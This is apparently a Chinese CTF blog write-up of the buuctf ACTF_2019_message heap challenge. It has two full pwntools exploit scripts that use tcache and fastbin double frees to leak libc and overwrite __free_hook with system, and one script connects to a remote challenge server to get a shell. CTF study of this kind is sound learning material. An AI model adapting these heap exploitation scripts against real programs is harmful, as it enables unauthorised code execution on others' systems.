buuctf ACTF_2019_message(tcache bin dup / fastbin dup)

有些图片显示不出来,我懒的在复制粘贴了,可以直接去我笔记里面看
网上的这道题的,大部分的exp都是写的16.04,使用的fastbin double free,但是在buuctf上根本打不通,因为人家都要求了是18.04,,所以这里写了两个版本(均可以打通)

buuctf ACTF_2019_message

安全检查:FULL RELRO(got表不可写),GS,NX都开了
在这里插入图片描述
菜单题(堆的)
在这里插入图片描述

增加函数:判断当前堆指针是否为空,为空就创建
在这里插入图片描述

删除函数:一是没有判断该地方是否有值,而是没有将堆指针置空,可能出现UAF或者double free
在这里插入图片描述

修改函数(好像没什么漏洞),修改的时候完全是按照输入的大小修改的
在这里插入图片描述

打印函数,修改跟打印都是通过长度来判断是否存在的,所以不存在UAF
在这里插入图片描述

其中的
count = 0x60204c 记录堆块个数
heap_struct = 0x602060 {
int length;
char *ptr;
}

使用tcachebin dup 18.04

分析:删除函数(不是说2.27tcache bin可以直接二次释放吗)
利用被放入unsorted bin中的chunk泄露地址,计算出free_hook和system的函数地址
在这里插入图片描述
利用tcache bin二次释放,制造tcache poisoning在&free_hook地址写入system
然后再次释放就会调用system

原因是因为,在Ubuntu GLIBC 2.27-3ubuntu1.5加入了检查
libc2.27-3ubuntu1及之前均可直接使用tcache dup,当版本大于等于libc2.27-3ubuntu1_后不可直接double free。(下面这个图是一开始我本机的环境)
在这里插入图片描述
将libc降级
和fastbin 的操作相同,最终获得shell:
在这里插入图片描述

https://github.com/matrix1001/glibc-all-in-one 使用这个下载对应的so,ld然后在代码中加上就行了
name = ‘./pwn’
ld_so = ‘/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so’
ENV = {“LD_PRELOAD”: “./libc-2.27-64.so”}
p = process([ld_so, name], env=ENV)

全部代码

from pwn import *
#from LibcSearcher import *
context.clear()
context.arch = 'amd64'
context.log_level = 'debug'

name = './ACTF_2019_message'
ciscn = ELF(name)
libc = ELF('./libc-2.27.so')
#p = process(name)
p = remote("node4.buuoj.cn","25790")

def add(size,message):
    p.sendlineafter(b'choice: ' , b'1')
    p.sendlineafter(b'message:\n' , str(size))
    p.sendafter(b'message:\n' , message)


def delete(index):
    p.sendlineafter(b'choice: ' , b'2')
    p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice: ' , b'3')
    p.sendlineafter(b'edit:\n' , str(index))
    p.sendafter(b'message:\n' , message)

def show(index):
    p.sendlineafter(b'choice: ' , b'4')
    p.sendlineafter(b'display:\n' , str(index))

count = 0x60204c
heap_struct = 0x602060

add(0x80,'aaaa')#0
add(0x800,'aaaa')#1
add(0x80,'/bin/sh\x00')#2
delete(1)#0x7f04e7bf5ca0
add(0x800,'bbbbbbbb')#3
show(3)
p.recvuntil("bbbbbbbb")
#offset = 4111520/0x3EBCA0
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x3EBCA0
print("-------------",hex(libc_base))

system = libc_base + libc.sym['system']
free = libc_base + libc.sym['__free_hook']
print("-------------",hex(system))
print("-------------",hex(free))

add(0x60,'cccc')#4
delete(4)
delete(4)
add(0x60,p64(free))
add(0x60,'dddd')
add(0x60,p64(system))
delete(1)
#gdb.attach(p)


p.interactive()

使用ubuntu 16.04 glibc2.23:使用fastbin的方式

使用fastvin double free的网上的基本都是,,我当时是看看雪上的一个帖子(思路跟tcache bin差不多),但是打不通远程

触发fastbin dup

add(0x30,'aaaa')#0
add(0x20,'aaaa')#1
add(0x20,'aaaa')#2
delete(1)
delete(2)
delete(1)

在这里插入图片描述

如果申请相同大小的,就会从中取出(先取出的是1)
在这里插入图片描述

然后增加两个堆,把70, 40申请出去
在这里插入图片描述

然后就剩下伪造的堆了,其fd指向heap0 *ptr
然后在申请一个堆,就可以覆盖第一个堆的地址,为got地址,然后打印got就能打印出地址 了。,,0x00007f43f28516a0
在这里插入图片描述

然后就泄露 了地址了,emmmm但是,算的地址好像有点问题啊
libc_base = puts_addr - libc.symbols[‘puts’]
system_addr = libc.symbols[‘system’] + libc_base
free_hook_addr = libc.symbols[‘__free_hook’] + libc_base
我使用libc搜索,提示找不到,,然后使用本地的地址不太对,然后通过去https://libc.blukat.me/?q=puts%3A6a0&l=libc6_2.23-0ubuntu11.3_amd64查找到的是正确的
成功获取到shell
在这里插入图片描述

from pwn import *
from LibcSearcher import LibcSearcher
context.clear()
context.arch = 'amd64'
context.log_level = 'debug'

name = './ACTF_2019_message'
elf = ELF(name)
#libc = ELF('./libc-2.23.so')
p = process(name)
#p = remote("node4.buuoj.cn","25790")

def add(size,message):
    p.sendlineafter(b'choice: ' , b'1')
    p.sendlineafter(b'message:\n' , str(size))
    p.sendafter(b'message:\n' , message)


def delete(index):
    p.sendlineafter(b'choice: ' , b'2')
    p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice: ' , b'3')
    p.sendlineafter(b'edit:\n' , str(index))
    p.sendafter(b'message:\n' , message)

def show(index):
    p.sendlineafter(b'choice: ' , b'4')
    p.sendlineafter(b'display:\n' , str(index))

system_addr = 0
free_hook_addr = 0
libc_base = 0
def libcsearch(leak,func,path=''):
	if path=='':
		libc = LibcSearcher(func, leak)
		libc_base = leak - libc.dump(func)
		system_addr = libc_base + libc.dump('system')
		free_hook_addr = libc_base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		libc_base = leak - libc.symbols[func]
		system_addr = libc.symbols['system'] + libc_base
		free_hook_addr = libc.symbols['__free_hook'] + libc_base



count = 0x60204c
heap_struct = 0x602060


add(0x30,'aaaa')#0
add(0x20,'aaaa')#1
add(0x20,'aaaa')#2
delete(1)
delete(2)
delete(1)
#fastbin double free
puts_got = elf.got['puts']#0x601f98-->


fake = heap_struct - 8 ##fd-->heap0 *ptr
add(0x20,p64(fake))#3
add(0x20,'bbbb')#4
add(0x20,'cccc')#5


add(0x20,p64(puts_got))#6	ptr-->got
show(0)#got--->addr
#puts_addr = u64(p.recvuntil("\x7f")[:-6].ljust(8,'\x00'))
p.recvuntil("message: ")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print("------------------",hex(puts_addr))
#libcsearch(puts_addr,'puts')
libc_base = puts_addr - 0x06f6a0
system_addr = libc_base + 0x0453a0
free_hook_addr = libc_base + 0x0000000003c67a8
print("------------------",hex(libc_base))
print("------------------",hex(system_addr))
print("------------------",hex(free_hook_addr))

edit(6,p64(free_hook_addr))

edit(0,p64(system_addr))

add(0x10,"/bin/sh\x00")#7

delete(7)
p.interactive()

远程的时候:地址不太对(因为服务器是18.04、libc-2.27)
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值